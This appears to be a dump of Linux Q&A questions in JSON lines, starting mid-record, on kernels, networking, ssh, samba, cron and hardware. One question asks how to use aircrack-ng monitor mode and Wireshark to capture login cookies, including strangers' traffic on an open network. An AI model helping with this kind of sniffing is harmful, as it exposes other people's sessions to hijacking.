monitor the CPU usage (in blue) and the CPU IOWait (in red). ![screenshot](http://i.stack.imgur.com/PlrMB.png) Now it seems to intermittently perform some action that results in an IOWait (see the red dots next to the clock). I don't know what it is or what to blame but the monitor is just telling what it sees. The funny thing is that with the 3.2 kernel, with the constant log writes, I just don't see a single dot in the monitor (nor CPU, nor any IOWait) when doing nothing, so I guess whatever action the newer kernel is performing is requiring more resources than appending to a file every 2 seconds. That was as far as I can get. After using Debian for 5 years, falling back to Windows seems to be the only option right now. Any help will be appreciated. $ lspci -nn 00:00.0 Host bridge [0600]: Intel Corporation Haswell DRAM Controller [8086:0c04] (rev 06) 00:01.0 PCI bridge [0604]: Intel Corporation Haswell PCI Express x16 Controller [8086:0c01] (rev 06) 00:02.0 VGA compatible controller [0300]: Intel Corporation Haswell Integrated Graphics Controller [8086:0416] (rev 06) 00:03.0 Audio device [0403]: Intel Corporation Haswell HD Audio Controller [8086:0c0c] (rev 06) 00:14.0 USB controller [0c03]: Intel Corporation Lynx Point USB xHCI Host Controller [8086:8c31] (rev 05) 00:16.0 Communication controller [0780]: Intel Corporation Lynx Point MEI Controller #1 [8086:8c3a] (rev 04) 00:1a.0 USB controller [0c03]: Intel Corporation Lynx Point USB Enhanced Host Controller #2 [8086:8c2d] (rev 05) 00:1b.0 Audio device [0403]: Intel Corporation Lynx Point High Definition Audio Controller [8086:8c20] (rev 05) 00:1c.0 PCI bridge [0604]: Intel Corporation Lynx Point PCI Express Root Port #1 [8086:8c10] (rev d5) 00:1c.1 PCI bridge [0604]: Intel Corporation Lynx Point PCI Express Root Port #2 [8086:8c12] (rev d5) 00:1c.2 PCI bridge [0604]: Intel Corporation Lynx Point PCI Express Root Port #3 [8086:8c14] (rev d5) 00:1c.3 PCI bridge [0604]: Intel Corporation Lynx Point PCI Express Root Port #4 [8086:8c16] (rev d5) 00:1d.0 USB controller [0c03]: Intel Corporation Lynx Point USB Enhanced Host Controller #1 [8086:8c26] (rev 05) 00:1f.0 ISA bridge [0601]: Intel Corporation Lynx Point LPC Controller [8086:8c49] (rev 05) 00:1f.2 SATA controller [0106]: Intel Corporation Lynx Point 6-port SATA Controller 1 [AHCI mode] [8086:8c03] (rev 05) 00:1f.3 SMBus [0c05]: Intel Corporation Lynx Point SMBus Controller [8086:8c22] (rev 05) 01:00.0 3D controller [0302]: NVIDIA Corporation Device [10de:0fe4] (rev ff) 04:00.0 Network controller [0280]: Atheros Communications Inc. AR9485 Wireless Network Adapter [168c:0032] (rev 01) 05:00.0 Ethernet controller [0200]: Realtek Semiconductor Co., Ltd. RTL8111/8168B PCI Express Gigabit Ethernet controller [10ec:8168] (rev 0c)"} {"_id": "111372", "title": "how to get tornado 211g (ACX111) working in mint 13 xfce?", "text": "I have mint 13 xfce installed on my thinkpad r31. For this laptop, I have a Tornado 211g pcmcia wireless adapter. This is not installed automatically in Mint and I am searching for a way to get this card working. How Can I achieve this? I have the windows XP drivers and have added these using ndiswrapper but so far, nothing has happened. in terminal, I have typed _lspci_ which returned my wireless adapter as an ACX111 chipset."} {"_id": "77349", "title": "Is Mac OS X really SUS compliant?", "text": "Internet says that Mac OS X 10.8 _has achieved certification to The Open Group UNIX\u00ae 03 standard_ and that it _is a compliant system_. But a simple test with `echo` seems to indicate otherwise: **a)** The Base Specification states > Implementations **shall not** support any options. and > IEEE Std 1003.1-2001/Cor 1-2002, item XCU/TC1/D6/21 is applied, so that the > echo utility can accommodate historical BSD behavior. **b)** The man page says states > **SYNOPSIS** > echo [-n] [string ...] and > **STANDARDS** > The echo utility conforms to IEEE Std 1003.1-2001 (``POSIX.1'') as amended > by Cor. 1-2002. **c)** The reality is that it supports options. At least `e` (user@avitus tmp)$ uname -a Darwin avitus.local 12.3.0 Darwin Kernel Version 12.3.0: Sun Jan 6 22:37:10 PST 2013; root:xnu-2050.22.13~1/RELEASE_X86_64 x86_64 (user@avitus tmp)$ echo -e \"test \\tAm I SUS compliant?\" test Am I SUS compliant? (user@avitus tmp)$ echo \"test \\tAm I SUS compliant?\" test \\tAm I SUS compliant? So, the questions are: **1. Does this break compliance?** **2. Is Mac OS X 10.8 really SUS compliant?** **3. Does the part** _item XCU/TC1/D6/21 is applied, so that the echo utility can accommodate historical BSD behavior._ **have something to do? If so, where is that item explained? The** Technical Corrigendum Number 1 for the Austin Group Specifications **doesn't say much.** **4. Am I missing something?**"} {"_id": "111377", "title": "Searching for packages using apt-get", "text": "I'd like to search for repository packages using package name or package description. For example * Search for Zend * Search for Ze*d"} {"_id": "50193", "title": "How to add a path to system $PATH for all users's non-login shell and login shell on debian", "text": "I installed some programs in /opt/my-program/bin, I wanted to add /opt/my- program/bin to system $PATH for all users's non-login shell and login shell. What should I do? Changing /etc/environment is OK for non-login shell, but it does not work for login shell because Debian's /etc/profile (which will be sourced by login shell) will override the $PATH specified in /etc/environment."} {"_id": "50190", "title": "Is there a way to view the console output instead of boot logo, while my RHEL 6.2 machine boots up?", "text": "My company provided laptop has RHEL6.2, with lot of programs to start up automatically, which makes the boot up process slow. While the machine boots up, there is the boring RHEL logo on the screen for a long time. Instead is there way to view the console, while my machine boots up? The console log would at least keep scrolling and won't be as monotonous! :) **Edit:** My laptop has LUKS disk encryption. So after grub screen, LUKS asks for the disk password and then the RHEL logo keeps rotating for a long time!"} {"_id": "50191", "title": "Piped input to nano", "text": "Why does `ls | nano -` open the editor in Ubuntu but close the editor and save a file to `-.save` in CentOS? How can I get nano in CentOS to remain open when reading stdin?"} {"_id": "50194", "title": "Need advice on using Wireshark + aircrack-ng", "text": "I am making acquiantance with wireless security and attacks and was told to run some tests with aircrack-ng and wireshark. So I installed both of them and ran airmon to switch wi-fi card to monitor mode: `sudo airmon-ng start ra0` (this is my DWA-140 usb wi-fi adapter) The wi-fi adapter seems to have restarted after that. Gues that's ok. Still it gave some warnings on processes that might interfere with normal work like `network manager, dhclient` and a few more. I tried to stop them, but they seem to restart all the time. After that I ran wireshark as a superuser, chose the ra0 adapter and tried to sniff the test open network. I have my PC connected to it (via dwa-140) and an HTC phone and some stranger PCs. Wireshark runs on my PC. The problem is that when I login to `%sitename%` with a PC browser, I can see the cookies sent to it in Wireshark. But when I do the same thing with an Opera Mobile browser on my HTC (`Turbo` option disabled), there is nothing detected. I know that stranger PCs are also sending data to `%sitename%`, but I see nothing from them as well. Actually I see a lot of packets from stranger PCs, but not the ones I need. I'd like to know what I'm doing wrong. Will be thankful for any advice. P.S. This runs on Ubuntu 12.04.1"} {"_id": "127647", "title": "Why is the default shell in Debian 7 bash?", "text": "As per documentation, `dash` should be the default shell in Debian Wheezy, however when I open up a terminal and check the `SHELL` variable, it points to `/bin/bash`. Since this is a fresh install, and I have not made any changes, why is this not pointing to `/bin/dash`? Or is the default shell stored or pointed to by some other variable?"} {"_id": "50198", "title": "Reformatting a large number of XML files", "text": "I'm manipulating a large number of XML files scattered throughout a nested directory structure. I tried the following (which almost works): $ find . -name \"*.xml\" -type f | xargs -- xmllint --format The problem is this generates the formatted XML output on the screen, but doesn't change the file. How can I change this command so that the actual file contents are changed? Thanks!"} {"_id": "50199", "title": "Is it possible to have malware software in Linux without executing untrusted applications?", "text": "I'm linux user and I'm thinking about it's vulnerabilities to malware. Can I get any malware if I run only trusted applications from distro's repository?"} {"_id": "28713", "title": "Why does mapping cause arrow keys to fail in vim?", "text": "When I do inoremap `^ in vim, the next time I switch to insert mode (after using `Esc`) the arrow keys fail to move the cursor (they insert letters instead). Why does that happen? * * * **Edit** : It is possible to remap `Esc` and still retain working arrow keys?"} {"_id": "28712", "title": "Among \"ps\" command output fields, %CPU isn't the actual CPU usage of the process?", "text": "For example, one of the output fields of this BSD style command, `ps aux`, is \"%CPU\". The alternative command, `ps -efl` outputs the \"C\" (or CP) field. As per the `ps` man page: * **%CPU** is the cpu utilization of the process in \"##.#\" format. Currently, it is the CPU time used divided by the time the process has been running (cputime/realtime ratio), expressed as a percentage. * **C** is essentially %CPU expressed as an integer That is how the `ps` man page details %CPU or C. But most books and websites on the internet simply say, `%CPU or C is CPU usage of a process`. One would think that it means % of the CPU's processing power used by a process out of the total available processing power from the CPU. Or is it only me? (PS: I am a beginner)"} {"_id": "28710", "title": "Can't insert rt2800usb module: Invalid argument", "text": "I just got an ASUS N13 USB wireless dongle, and unfortunately it's not detected and I can't load it with modprobe: $ sudo modprobe rt2800usb WARNING: All config files need .conf: /etc/modprobe.d/blacklist, it will be ignored in a future release. WARNING: Error inserting rt2x00usb (/lib/modules/3.0.0-14-generic/kernel/drivers/net/wireless/rt2x00/rt2x00usb.ko): Invalid argument WARNING: Error inserting crc_ccitt (/lib/modules/3.0.0-14-generic/kernel/lib/crc-ccitt.ko): Invalid argument WARNING: Error inserting rt2800lib (/lib/modules/3.0.0-14-generic/kernel/drivers/net/wireless/rt2x00/rt2800lib.ko): Invalid argument FATAL: Error inserting rt2800usb (/lib/modules/3.0.0-14-generic/kernel/drivers/net/wireless/rt2x00/rt2800usb.ko): Invalid argument What's the problem here? I read that this works usually out of the box with Ubuntu 11.10? What can I do to fix this? Is there a package I can reinstall to try and fix things?"} {"_id": "141566", "title": "What iptables command do I need to allow web server traffic?", "text": "I have a hard time understanding `iptables` rules. I am running a centos 6.5 VM on my laptop (vmware hypervisor) and it looks like it comes with this setup for `iptables`: # iptables -L Chain INPUT (policy ACCEPT) target prot opt source destination ACCEPT all -- anywhere anywhere state RELATED,ESTABLISHED ACCEPT icmp -- anywhere anywhere ACCEPT all -- anywhere anywhere ACCEPT tcp -- anywhere anywhere state NEW tcp dpt:ssh REJECT all -- anywhere anywhere reject-with icmp-host-prohibited Chain FORWARD (policy ACCEPT) target prot opt source destination REJECT all -- anywhere anywhere reject-with icmp-host-prohibited Chain OUTPUT (policy ACCEPT) target prot opt source destination I just install apache on it, but I was not able to access the web server even though `httpd` is running. This is the error I get, if I attempt to access the web server from the localhost: [root@mig-dev-006 conf]# wget http://mig-dev-006.example.com --2014-07-09 08:46:00-- http://mig-dev-006.example.com/ Resolving mig-dev-006.example.com... 192.168.203.129 Connecting to mig-dev-006.example.com|192.168.203.129|:80... connected. HTTP request sent, awaiting response... 403 Forbidden 2014-07-09 08:46:00 ERROR 403: Forbidden. From my Windows7 laptop (using `cygwin`) I get this error: $ wget http://mig-dev-006.example.com --08:45:47-- http://mig-dev-006.example.com/ => `index.html' Resolving mig-dev-006.cisco.com... 192.168.203.129 Connecting to mig-dev-006.example.com|192.168.203.129|:80... failed: Connection timed out. I know that I can simply flush the `iptables` rules with `iptables --flush`, but I'd prefer to understand what is going on and be able to add a rule that would allow `http` and `https` traffic. * * * Here is my `httpd.conf`: $ grep -v \"#\" /etc/httpd/conf/httpd.conf | grep -v \"^$\" ServerTokens OS ServerRoot \"/etc/httpd\" PidFile run/httpd.pid Timeout 60 KeepAlive Off MaxKeepAliveRequests 100 KeepAliveTimeout 15 StartServers 8 MinSpareServers 5 MaxSpareServers 20 ServerLimit 256 MaxClients 256 MaxRequestsPerChild 4000 StartServers 4 MaxClients 300 MinSpareThreads 25 MaxSpareThreads 75 ThreadsPerChild 25 MaxRequestsPerChild 0 Listen 80 LoadModule auth_basic_module modules/mod_auth_basic.so LoadModule auth_digest_module modules/mod_auth_digest.so LoadModule authn_file_module modules/mod_authn_file.so LoadModule authn_alias_module modules/mod_authn_alias.so LoadModule authn_anon_module modules/mod_authn_anon.so LoadModule authn_dbm_module modules/mod_authn_dbm.so LoadModule authn_default_module modules/mod_authn_default.so LoadModule authz_host_module modules/mod_authz_host.so LoadModule authz_user_module modules/mod_authz_user.so LoadModule authz_owner_module modules/mod_authz_owner.so LoadModule authz_groupfile_module modules/mod_authz_groupfile.so LoadModule authz_dbm_module modules/mod_authz_dbm.so LoadModule authz_default_module modules/mod_authz_default.so LoadModule ldap_module modules/mod_ldap.so LoadModule authnz_ldap_module modules/mod_authnz_ldap.so LoadModule include_module modules/mod_include.so LoadModule log_config_module modules/mod_log_config.so LoadModule logio_module modules/mod_logio.so LoadModule env_module modules/mod_env.so LoadModule ext_filter_module modules/mod_ext_filter.so LoadModule mime_magic_module modules/mod_mime_magic.so LoadModule expires_module modules/mod_expires.so LoadModule deflate_module modules/mod_deflate.so LoadModule headers_module modules/mod_headers.so LoadModule usertrack_module modules/mod_usertrack.so LoadModule setenvif_module modules/mod_setenvif.so LoadModule mime_module modules/mod_mime.so LoadModule dav_module modules/mod_dav.so LoadModule status_module modules/mod_status.so LoadModule autoindex_module modules/mod_autoindex.so LoadModule info_module modules/mod_info.so LoadModule dav_fs_module modules/mod_dav_fs.so LoadModule vhost_alias_module modules/mod_vhost_alias.so LoadModule negotiation_module modules/mod_negotiation.so LoadModule dir_module modules/mod_dir.so LoadModule actions_module modules/mod_actions.so LoadModule speling_module modules/mod_speling.so LoadModule userdir_module modules/mod_userdir.so LoadModule alias_module modules/mod_alias.so LoadModule substitute_module modules/mod_substitute.so LoadModule rewrite_module modules/mod_rewrite.so LoadModule proxy_module modules/mod_proxy.so LoadModule proxy_balancer_module modules/mod_proxy_balancer.so LoadModule proxy_ftp_module modules/mod_proxy_ftp.so LoadModule proxy_http_module modules/mod_proxy_http.so LoadModule proxy_ajp_module modules/mod_proxy_ajp.so LoadModule proxy_connect_module modules/mod_proxy_connect.so LoadModule cache_module modules/mod_cache.so LoadModule suexec_module modules/mod_suexec.so LoadModule disk_cache_module modules/mod_disk_cache.so LoadModule cgi_module modules/mod_cgi.so LoadModule version_module modules/mod_version.so Include conf.d/*.conf User apache Group apache ServerAdmin root@localhost ServerName mig-dev-006.example.com UseCanonicalName Off DocumentRoot \"/var/www/html\" Options FollowSymLinks AllowOverride None Options Indexes FollowSymLinks AllowOverride None Order allow,deny Allow from all UserDir disabled DirectoryIndex index.html index.html.var AccessFileName .htaccess Order allow,deny Deny from all Satisfy All TypesConfig /etc/mime.types DefaultType text/plain MIMEMagicFile conf/magic HostnameLookups Off ErrorLog logs/error_log LogLevel warn LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\"\" combined LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b\" common LogFormat \"%{Referer}i -> %U\" referer LogFormat \"%{User-agent}i\" agent CustomLog logs/access_log combined ServerSignature On Alias /icons/ \"/var/www/icons/\" Options Indexes MultiViews FollowSymLinks AllowOverride None Order allow,deny Allow from all DAVLockDB /var/lib/dav/lockdb ScriptAlias /cgi-bin/ \"/var/www/cgi-bin/\" AllowOverride None Options None Order allow,deny Allow from all IndexOptions FancyIndexing VersionSort NameWidth=* HTMLTable Charset=UTF-8 AddIconByEncoding (CMP,/icons/compressed.gif) x-compress x-gzip AddIconByType (TXT,/icons/text.gif) text/* AddIconByType (IMG,/icons/image2.gif) image/* AddIconByType (SND,/icons/sound2.gif) audio/* AddIconByType (VID,/icons/movie.gif) video/* AddIcon /icons/binary.gif .bin .exe AddIcon /icons/binhex.gif .hqx AddIcon /icons/tar.gif .tar AddIcon /icons/world2.gif .wrl .wrl.gz .vrml .vrm .iv AddIcon /icons/compressed.gif .Z .z .tgz .gz .zip AddIcon /icons/a.gif .ps .ai .eps AddIcon /icons/layout.gif .html .shtml .htm .pdf AddIcon /icons/text.gif .txt AddIcon /icons/c.gif .c AddIcon /icons/p.gif .pl .py AddIcon /icons/f.gif .for AddIcon /icons/dvi.gif .dvi AddIcon /icons/uuencoded.gif .uu AddIcon /icons/script.gif .conf .sh .shar .csh .ksh .tcl AddIcon /icons/tex.gif .tex AddIcon /icons/bomb.gif core AddIcon /icons/back.gif .. AddIcon /icons/hand.right.gif README AddIcon /icons/folder.gif ^^DIRECTORY^^ AddIcon /icons/blank.gif ^^BLANKICON^^ DefaultIcon /icons/unknown.gif ReadmeName README.html HeaderName HEADER.html AddLanguage ca .ca AddLanguage cs .cz .cs AddLanguage da .dk AddLanguage de .de AddLanguage el .el AddLanguage en .en AddLanguage eo .eo AddLanguage es .es AddLanguage et .et AddLanguage fr .fr AddLanguage he .he AddLanguage hr .hr AddLanguage it .it AddLanguage ja .ja AddLanguage ko .ko AddLanguage ltz .ltz AddLanguage nl .nl AddLanguage nn .nn AddLanguage no .no AddLanguage pl .po AddLanguage pt .pt AddLanguage pt-BR .pt-br AddLanguage ru .ru AddLanguage sv .sv AddLanguage zh-CN .zh-cn AddLanguage zh-TW .zh-tw LanguagePriority en ca cs da de el eo es et fr he hr it ja ko ltz nl nn no pl pt pt-BR ru sv zh-CN zh-TW ForceLanguagePriority Prefer Fallback AddDefaultCharset UTF-8 AddType application/x-compress .Z AddType application/x-gzip .gz .tgz AddType application/x-x509-ca-cert .crt AddType application/x-pkcs7-crl .crl AddHandler type-map var AddType text/html .shtml AddOutputFilter INCLUDES .shtml Alias /error/ \"/var/www/error/\" AllowOverride None Options IncludesNoExec AddOutputFilter Includes html AddHandler type-map var Order allow,deny Allow from all LanguagePriority en es de fr ForceLanguagePriority Prefer Fallback BrowserMatch \"Mozilla/2\" nokeepalive BrowserMatch \"MSIE 4\\.0b2;\" nokeepalive downgrade-1.0 force-response-1.0 BrowserMatch \"RealPlayer 4\\.0\" force-response-1.0 BrowserMatch \"Java/1\\.0\" force-response-1.0 BrowserMatch \"JDK/1\\.0\" force-response-1.0 BrowserMatch \"Microsoft Data Access Internet Publishing Provider\" redirect-carefully BrowserMatch \"MS FrontPage\" redirect-carefully BrowserMatch \"^WebDrive\" redirect-carefully BrowserMatch \"^WebDAVFS/1.[0123]\" redirect-carefully BrowserMatch \"^gnome-vfs/1.0\" redirect-carefully BrowserMatch \"^XML Spy\" redirect-carefully BrowserMatch \"^Dreamweaver-WebDAV-SCM1\" redirect-carefully The only change I made was to add the `ServerName`."} {"_id": "28719", "title": "slow samba seek performance", "text": "I am using FreeBSD 9.0 RC3 (PCBSD distro) with samba 3.4.14. I am trying to access portions of several large (4 - 10 GB) files over samba using seek commands, and I am seeing that calls to the front of the file are returning very quickly, but calls to near the end of the file are taking 15+ seconds to respond. It is as if the OS has to read the entire file up to the position I am seeking to. The file system is ZFS v28 on a 5 drive Z2 configuration. Are there any parameters governing seek? When I host these files on a Windows Server 2008 R2 box, I am not seeing any of these issues. ![Disk Mark Performance](http://i.stack.imgur.com/9Uf0f.png) I've attached my results from crystaldiskmark over the network as well."} {"_id": "94597", "title": "Checking the order of items in a shell environment variable", "text": "I am wanting to check that a certain directories always appear after other directories in an environment variable. List items are separated by a colon, as with the PATH variable. This is not simply for bash, but for a few different shells. The problem is, I'm not sure how to check the order of items in a list using standard unix utilities. What would be a starting point? edit: An example would be $LIST=/test:/bin/test:/etc/test:/nan/:/var I would want to test for example that any directory path that had the word test in it was prior in the list to a directory that did not. What I want to do is small enough that I can hardcode the directories, so a dynamic solution is not necessary."} {"_id": "72641", "title": "Is there a way to convert IE favourites to bookmark.htm format?", "text": "After switching from Windows to Linux, I am left with a favourite directory containing subfolders and `.url` files, each file containing a few lines of text that look like this: [DEFAULT] BASEURL=http://www.example.com/faq.html [InternetShortcut] URL=http://www.example.com/faq.html Modified=70E5E788C3B9C9010A Since I do not have internet explorer installed on my Linux system, it is not possible for me to import the bookmarks directly to my current Firefox browser. I was wondering if there is a quick way to extract the URL from all the `.url` files, together with the filenames to generate a `.htm` file which I can import to any modern browser."} {"_id": "72646", "title": "Laptop camera. How to get detailed information about it?", "text": "My Samsung laptop has a built-in camera. The camera works fine. I want to get detailed information on it, at the very least model and communication bus. The output of `lsusb`, `lspci`, `lshw`, `ls /dev` do not show anything interesting ... or do they? Maybe I do not know what to look for!"} {"_id": "106886", "title": "PiGlow not working", "text": "After following the steps specified in Boeeerb's PiGlow github repo, when I try to run the `test.py` file it gives me the following message: Traceback (most recent call last) : File \"test.py\" , line 9, in piglow = PiGlow() File \"/home/pi/piglow/piglow.py\" , line 30,in _init_ self.bus = SMBus(i2c_bus) IOError: [Errno 2] No such file or directory I have tried rebooting, and trying it multiple times. I also used the `ls` command to ensure the file is there. What's wrong there?"} {"_id": "72644", "title": "ssh-add -D doesn't erase stored keys from the ssh-agent", "text": "How come this happens?: stan@tcpc:~/.ssh$ ssh-add -l 8192 e0:45:5e:cc:45:3e:17:2b:a6:54:6f:8d:53:1b:j2:e3 github (RSA) 2048 25:41:53:a6:45:5d:ac:eb:5c:45:f8:ce:42:a9:he:aa BITBUCKET (RSA) stan@tcpc:~/.ssh$ ssh-add -D All identities removed. stan@tcpc:~/.ssh$ ssh-add -l 8192 e0:45:5e:cc:45:3e:17:2b:a6:54:6f:8d:53:1b:j2:e3 github (RSA) 2048 25:41:53:a6:45:5d:ac:eb:5c:45:f8:ce:42:a9:he:aa BITBUCKET (RSA) How come keys aren't being erased? p.s. could be this bug? http://bugs.debian.org/cgi- bin/bugreport.cgi?bug=472477 I'm on arch linux though..."} {"_id": "439", "title": "Keep log file size fixed without logrotate", "text": "Is there any way to keep file size of log file fixed without rotating it by a new empty file and deleting (or archiving) the old file. For example, if I set log file maximum size to 1MB, after the file size increase beyond that limit it will be automatically clamped, the text is added on 'tail' and the oldest part of text is poped out to keep the file size 1MB."} {"_id": "79619", "title": "Shell: How do I get the last argument the previous command when it was detached?", "text": "Within the shell, typing `ALT+.` or using `!$` recalls the last passed argument of the previous command. I use this all the time, but how do you do that when you detached the previous command? $ do-something foo a_long_file_name & How do I get `a_long_file_name` on the prompt, and not the ampersand?"} {"_id": "72648", "title": "Running one OS per core", "text": "I'm interested in using a COTS board like the Wandboard for a project. On one hand I'd like to use something like Ubuntu for user interaction, sounds, TCP/IP stuff, etc. But I also need an RTOS like uC/OS-II since there are some real-time requirements. Are there any resources to help set up something like this? I've only used multi-core processors with a single kernel before (SMP), so this is new to me. Apparently, this guy has done it, but I can find information only sparingly. This seems like mostly a bootloader (U-Boot) task, so I'm not sure if this is the right place to ask, but it's the closest I could find."} {"_id": "433", "title": "Parsing log files for frequent IP's", "text": "So, I hacked this together while undergoing a DDOS attack to pull _naughty_ ips out of my logs. Anyone have any improvements or other suggestions to make it better? Here's the general idea: 1. pull ip's only out of log file 2. sort them 3. uniq and count them 4. sort them again And the string o'pipes: ` cut --delim \" \" -f7 /var/log/apache_access | sort | uniq -c | sort -rn > sorted-ips.txt `"} {"_id": "430", "title": "autologin console as root on fedora", "text": "Can someone help to autologin in console text mode as root in fedora, usually I can do using script like this : `/sbin/autologin.sh`: #!/bin/bash 0/dev/$1 2>&1 cat /etc/issue shift exec $* and on `/etc/inittab` do login by calling that script 1:2345:respawn:/sbin/autologin.sh tty1 login -f root .. .. now i can't do that, since fedora use /etc/init/tty.conf : stop on runlevel [016] respawn instance $TTY exec /sbin/mingetty $TTY *I know its dangerous to autologin and moreover as root, but I don't care, I don't care about security"} {"_id": "92291", "title": "Parsing the headers of sequence file", "text": "I have a multiple sequence file as >abc|d017961 sequence1...... >cdf|rhtdm9 sequence2...... >ijm|smthr12 sequence3...... >abc|d011wejr sequence4...... >stg|eethwe77 sequence5...... I want to edit the file and want the result file as >abc_ABC__d017961 sequence1...... >cdf_CDF__rhtdm9 sequence2...... >ijm_IJM__smthr12 sequence3...... >abc_ABC__d011wejr sequence4...... >stg_STG__eethwe77 sequence5......"} {"_id": "92296", "title": "Cronjob output to log", "text": "I'm using a script for testing broadband speed and I would like to set up a cronjob for testing every n minutes and output to a file. The command to launch it from a shell console and append to logfile prepending a line with the current date is tespeed.py -w | sed -e \"s/^/$(date +\\\"%d-%m-%y\\ %T\\\"), /\" >>tespeedlog.csv But if I use this command in a cronjob something doesn't work; the syslog reports: Sep 25 13:23:01 raspberrypi /USR/SBIN/CRON[6719]: (pi) CMD (/home/pi/tespeed/tespeed.py -w | sed -e \"s/^/$(date +') What shoud I check?"} {"_id": "73115", "title": "Does encrypting my whole Lubuntu slow running programs down?", "text": "During the installation of Lubuntu I chose to encrypt my whole HDD (not just the `/home` folder). Now it feels like my system has slowed down a lot. Especially the startup time of programs increased. Does this encryption also slow down programs (after loading) which neither read from nor write to the HDD?"} {"_id": "73114", "title": "Running Mono on CentOS 5 CLI", "text": "I have vps server (virtual private server) running on Linux CentOS 5 32 bit , I installed `vncserver` X-Windows , GNOME and KDE environment and I connect to the VNC server from vncviewer in my Windows 7 Desktop now I execute the command mono Radegast.exe in terminal and I got [ERROR]: - Unhandled System.TypeInitializationException: An exception was thrown by the type initializer for System.Windows.Forms.XplatUI ---> System.ArgumentNullException: Could not open display (X-Server required. Check you DISPLAY environment variable) Parameter name: Display at System.Windows.Forms.XplatUIX11.SetDisplay (IntPtr display_handle) [0x00000] at System.Windows.Forms.XplatUIX11..ctor () [0x00000] at System.Windows.Forms.XplatUIX11.GetInstance () [0x00000] at System.Windows.Forms.XplatUI..cctor () [0x00000] --- End of inner exception stack trace --- at System.Windows.Forms.Application.EnableVisualStyles () [0x00000] at Radegast.MainProgram.RunRadegast (System.String[] args) [0x00000] at Radegast.MainProgram.Main (System.String[] args) [0x00000] : An exception was thrown by the type initializer for System.Windows.Forms.XplatUI at System.Windows.Forms.Application.EnableVisualStyles () [0x00000] at Radegast.MainProgram.RunRadegast (System.String[] args) [0x00000] at Radegast.MainProgram.Main (System.String[] args) [0x00000] mono version is # mono -V Mono JIT compiler version 2.4.2.3 (tarball Sat Apr 20 19:49:33 MSD 2013) Copyright (C) 2002-2008 Novell, Inc and Contributors. www.mono-project.com TLS: __thread GC: Included Boehm (with typed GC) SIGSEGV: altstack Notifications: epoll Architecture: x86 Disabled: none"} {"_id": "91477", "title": "How can I make a Puppet module that fixes time?", "text": "I have written a Puppet module that corrects the time via NTP, but this only works on server with a small NTP offset. There are sometimes server with a time offset higher than 10 minutes for various reasons. I want to make a Puppet module that runs exec \"service ntpd stop; ntpdate ntp3.domain.local; service ntpd start\" when the ntp offset is too high, to forcably correct the time. How can I see if the NTP offset is too high in order to tell Puppet to run this command? Or are there better solutions?"} {"_id": "73111", "title": "What are /dev, /run and /run/shm and can I resize them?", "text": "So, I recently created a 15GB partition for Linux Mint 14. I've been working on it for a while, and I got a Low Disk Space notification. I ran `df -h` and this is what I'm getting: Filesystem Size Used Avail Use% Mounted on /dev/sda5 11G 11G 2.3M 100% / udev 1.9G 4.0K 1.9G 1% /dev tmpfs 751M 1.1M 750M 1% /run none 5.0M 0 5.0M 0% /run/lock none 1.9G 4.0M 1.9G 1% /run/shm none 100M 16K 100M 1% /run/user What are `/dev`, `/run`, and `/run/shm`, and can I resize them to be smaller and extend `/dev/sda5` to use that space instead?"} {"_id": "73110", "title": "ixgbe: increase rx performance", "text": "I have an Intel 82598EB 10GBE NIC. I need to receive traffic without packet loss. Data rate is 4-5 Gbps, packet size is 1500-9600 bytes. I had already configured smb and irq affinity. I also tried to use packets socket ( PF_PACKET ). None of this helped. Small losses is always present. Now I am planning to compile kernel with disabling any configuration settings that increase the size of sk_buff and disabling IOMMU. What are other ways to improve rx performance?"} {"_id": "73112", "title": "Scan for users of networks", "text": "If I am in a room where several people are using devices to connect to different networks, how can I scan for them? (for the users) They are not necessarily logged in the same wifi as me. I know that I can find networks with WICD (or through other means), but that's not what I want."} {"_id": "145483", "title": "Set Sound Settings to 152% on Boot (LMDE)", "text": "I have installed Linux Mint Debian Edition and everything is working correctly, except that 100% sound setting is not ideal on my speakers, so I see that I can increase it to 152% from my sound settings. **The problem is** that every time I reboot, it sets itself to 100%, and I manually have to increase to 152%. At first it wasn't my main concern, now it's the only inconvenience I have on my system. **Q: How to do I set sound to 152% on boot?** `amixer` value of 100% on GUI is 65536 on terminal. `amixer` value of desired 153% is 99957 on terminal. Outputs: Setting 100% on GUI and Type `amixer` on terminal: Simple mixer control 'Master',0 Capabilities: pvolume pswitch pswitch-joined Playback channels: Front Left - Front Right Limits: Playback 0 - 65536 Mono: Front Left: Playback 65536 [100%] [on] Front Right: Playback 65536 [100%] [on] Setting 153% on GUI and Type `amixer` on terminal: Simple mixer control 'Master',0 Capabilities: pvolume pswitch pswitch-joined Playback channels: Front Left - Front Right Limits: Playback 0 - 65536 Mono: Front Left: Playback 99957 [153%] [on] Front Right: Playback 99957 [153%] [on] **Update:** I now need to know how to set this command `amixer set 'Master' ,99957` on startup, as a startup script. Googling seems to produce somethings beyond my scope of knowledge. Step by step on creating startup scripts would help."} {"_id": "154029", "title": "Kernel does not load after modifying parameters and kernel image with Syslinux", "text": "# Config file for Syslinux - # /boot/syslinux/syslinux.cfg LABEL arch MENU LABEL Arch Linux LINUX ../vmlinuz-linux APPEND root=/dev/sda3 rw INITRD ../initramfs-linux-ck.img LABEL archfallback MENU LABEL Arch Linux Fallback LINUX ../vmlinuz-linux APPEND root=/dev/sda3 rw INITRD ../initramfs-linux-fallback.img I have just changed my `arch` config to load the CK image. However, upon boot, `fsck` fails complaining that `/dev/sda3` cannot be found. This is weird, because `archfallback` loads correctly as usual. Also, I should add the parameter `elevator=bfq`. Should I do that with a new APPEND line? EDIT: I just saw that there is also a `vmlinuz-linux-ck`. I'll try and report back. The kernel parameter quesion remains."} {"_id": "55014", "title": "Why does SSH not consult /etc/hosts?", "text": "I'm administrating a networked environment where the users authenticate over NIS. All machines can be used to SSH into the server but one. On the machine in question, I get the message ` ssh: connect to host servername port 22: Connection refused ` I compared `strace` outputs from the machine in question and a machine that can SSH into the server correctly. It turns out the machine that can't SSH into the server doesn't consult `/etc/hosts` while the machine that can SSH correctly does. Both machines have `/etc/hosts` set up with the server's name and IP. In the end, the machine that doesn't consult `/etc/hosts` ends up trying to connect to ` 127.0.0.1` (localhost) and fails with the above message. What can be causing this? Additional information: * The server I'm trying to SSH into also acts as the name server and both machines consult it while trying to SSH into it. * The machine that can't SSH into the server can SSH correctly into other machines when I do ` ssh machinename ` The `strace` logs show that the machine consults the nameserver (this time successfully) and manages to resolve the remote machine name correctly and connect to it. EDIT: I will gladly provide any additional information that you think might help solve this issue."} {"_id": "32870", 